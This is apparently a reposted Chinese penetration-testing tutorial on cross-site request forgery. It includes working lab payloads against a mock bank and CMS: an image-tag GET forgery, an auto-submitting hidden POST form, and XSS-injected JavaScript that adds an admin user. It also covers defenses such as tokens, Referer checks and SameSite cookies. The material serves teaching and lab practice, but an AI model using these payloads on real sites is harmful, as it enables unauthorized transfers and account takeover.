1、CSRF概述
1.1、基本原理
1.1.1、基本概念
跨站請求偽造(Cross Site Request Forgery,CSRF)是一種攻擊,它強制瀏覽器客戶端用戶在當前對其進行身份驗證后的Web 應(yīng)用程序上執(zhí)行非本意操作的攻擊,攻擊的重點在于更改狀態(tài)的請求,而不是盜取數(shù)據(jù),因為攻擊者無法查看偽造請求的響應(yīng)。
借助于社工的一些幫助,例如,通過電子郵件或聊天發(fā)送鏈接,攻擊者可以誘騙用戶執(zhí)行攻擊者選擇的操作。如果受害者是普通用戶,則成功的CSRF 攻擊可以強制用戶執(zhí)行更改狀態(tài)的請求,例如轉(zhuǎn)移資金、修改密碼等操作。如果受害者是管理賬戶,CSRF 攻擊會危及整個Web 應(yīng)用程序。
CSRF,跨站域請求偽造,通常攻擊者會偽造一個場景(例如一條鏈接),來誘使用戶點擊,用戶一旦點擊,黑客的攻擊目的也就達到了,他可以盜用你的身份,以你的名義發(fā)送惡意請求。CSRF攻擊的關(guān)鍵就是利用受害者的cookie向服務(wù)器發(fā)送偽造請求。
和XSS有什么不同?
CSRF是以用戶的權(quán)限去做事情,自己本身并沒有獲取到權(quán)限;XSS是直接盜取了用戶的權(quán)限進行攻擊。
1.1.2、關(guān)鍵點
- 受害者沒有退出登錄,受害者保持身份認證。
- CSRF 繼承了受害者的身份和特權(quán),代表受害者執(zhí)行非本意的、惡意的操作。
- CSRF 會借用瀏覽器中與站點關(guān)聯(lián)的所有身份憑據(jù),例如用戶的會話Cookie,IP 地址,Windows 域憑據(jù)等。
1.1.3、目標
CSRF 的目標是更改用戶賬戶的狀態(tài),攻擊者利用CSRF 發(fā)送的請求都是更改狀態(tài)的請求,比如,轉(zhuǎn)賬、更改密碼,購買商品等等。
CSRF 的場景中,攻擊者是沒有辦法獲得服務(wù)器的響應(yīng)。
1.2、CSRF場景
1.2.1、銀行支付轉(zhuǎn)賬
模擬搭建銀行網(wǎng)站http://192.168.80.139/bank/
1.2.2構(gòu)造虛假網(wǎng)站
構(gòu)造CSRF 攻擊連接
<meta charset='utf-8'>
<img src='./1.jpg'><br />
<img src='http://192.168.80.139/bank/action.php?
username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
alt='金陵十三釵'>
-
攻擊者通過
<img>
標簽構(gòu)造GET 請求。 -
瀏覽器根據(jù)
<img>
標簽中的SRC
屬性,請求服務(wù)器資源,會自動帶上身份認證信息
1.2.3、場景建模
1.3、CSRF類別
以上場景中完成轉(zhuǎn)賬的關(guān)鍵操作是GET 請求。把轉(zhuǎn)賬操作改用POST 請求,是不是就能夠防御CSRF 漏洞了呢?
1.3.1、POST方式
<meta charset='utf-8'>
<form name='csrf' action='http://192.168.80.139/bank/action.php' method='post'>
<input type='hidden' name='username' value='hacker'>
<input type='hidden' name='money' value='100'>
</form>
<script>document.csrf.submit()</script>
<img src="./1.jpg" ><br />
<!--<a href='javascript:document.csrf.submit()' style='color:red;font-size:100px'>寶刀在手,誰與爭鋒</a><br />
1.4、CSRF驗證
1.4.1、CSRF PoC Generator
PoC:漏洞驗證代碼
Burp Suite 自帶插件,可以根據(jù)請求構(gòu)造表單,進行CSRF 漏洞驗證
修改密碼在瀏覽器中測試
點擊Submit request
后,密碼就會被修改
2、CSRF攻防
2.1、CSRF實戰(zhàn)
2.1.1、與XSS 漏洞相結(jié)合
先使用BurpSuite
工具抓取添加用戶的數(shù)據(jù)包,
POST /cms/admin/user.action.php HTTP/1.1
Host: 192.168.80.139
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 99
Origin: http://192.168.80.139
Connection: close
Referer: http://192.168.80.139/cms/admin/user.add.php?act=add
Cookie: username=admin; userid=1; PHPSESSID=87u2eq7ctm4468snmmg772vns7
Upgrade-Insecure-Requests: 1
act=add&username=zs&password=123&password2=123&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0
攻擊者可以利用XSS 觸發(fā)CSRF 攻擊。因為,可以利用JS 發(fā)送HTTP 請求。經(jīng)過研究受害網(wǎng)站的業(yè)務(wù)流程,可以構(gòu)造如下代碼:
<script>
xmlhttp = new XMLHttpRequest();
xmlhttp.open("post","http://192.168.80.139/cms/admin/user.action.php",false);
xmlhttp.setRequestHeader("Content-type","application/x-www-form-urlencoded");
xmlhttp.send("act=add&username=zs&password=123.com&password2=123.com&button=%E6%B7%BB%E5%8A%A0%E7%94%A8%E6%88%B7&userid=0");
</script>
把JS代碼提交都留言板上
使用管理員用戶查看留言板信息,在點擊留言板這個選項卡的時候就觸發(fā)了XSS代碼,進行了CSRF跨站攻擊
然后使用修改后的密碼,登錄后臺
2.2、CSRF防御
2.2.1、無效防御
- 使用秘密的Cookie
- 僅接收POST 請求
- 多步交易:多步交易,有可能會被惡意攻擊者預(yù)測
- URL 重寫:用戶的身份信息會暴露在URL 中,不建議通過引入另外一個漏洞來解決當前漏洞
- HTTPS:所有安全機制的前提
2.2.2、有效防御
1、驗證Referer字段
- 當前URL的上一個URL,就是該頁面是從那個頁面過來的
- 轉(zhuǎn)賬頁面到轉(zhuǎn)賬操作
- 偽造?
2、添加Token驗證
3、二次驗證:在關(guān)鍵操作之前,再輸入密碼或者驗證碼
4、HttpOnly:某些情況下禁止JS 腳本訪問Cookie 信息
5、SameSite:Cookie 屬性,瀏覽器自帶安全機制
3、靶場練習
DVWA靶場CSRF練習文章來源:http://www.zghlxwxcb.cn/news/detail-690732.html
Pikachu靶場CSRF練習文章來源地址http://www.zghlxwxcb.cn/news/detail-690732.html
到了這里,關(guān)于滲透測試漏洞原理之---【CSRF跨站請求偽造】的文章就介紹完了。如果您還想了解更多內(nèi)容,請在右上角搜索TOY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!